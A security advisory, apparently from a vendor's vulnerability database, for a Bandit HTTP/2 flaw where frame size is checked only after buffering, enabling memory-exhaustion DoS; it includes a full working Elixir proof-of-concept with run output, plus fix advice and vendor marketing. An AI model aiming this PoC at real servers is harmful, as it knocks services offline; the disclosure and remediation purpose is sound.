CVE-2026-42788

CVE-2026-42788 is a medium-severity allocation of resources without limits or throttling vulnerability in bandit (erlang), affecting versions >= 0.3.5, < 1.11.0. It is fixed in 1.11.0.

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Summary

Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match, meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

  1. Opens an h2c connection to a Bandit server it starts itself.
  2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
  3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed, the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure, pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received , 
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header, the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code}, patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()
17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

Affected versions

bandit (>= 0.3.5, < 1.11.0)

Security releases

bandit → 1.11.0 (erlang)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade bandit to 1.11.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-42788? CVE-2026-42788 is a medium-severity allocation of resources without limits or throttling vulnerability in bandit (erlang), affecting versions >= 0.3.5, < 1.11.0. It is fixed in 1.11.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. Which versions of bandit are affected by CVE-2026-42788? bandit (erlang) versions >= 0.3.5, < 1.11.0 is affected.
  3. Is there a fix for CVE-2026-42788? Yes. CVE-2026-42788 is fixed in 1.11.0. Upgrade to this version or later.
  4. Is CVE-2026-42788 exploitable, and should I be worried? Whether CVE-2026-42788 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-42788 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-42788? Upgrade bandit to 1.11.0 or later.

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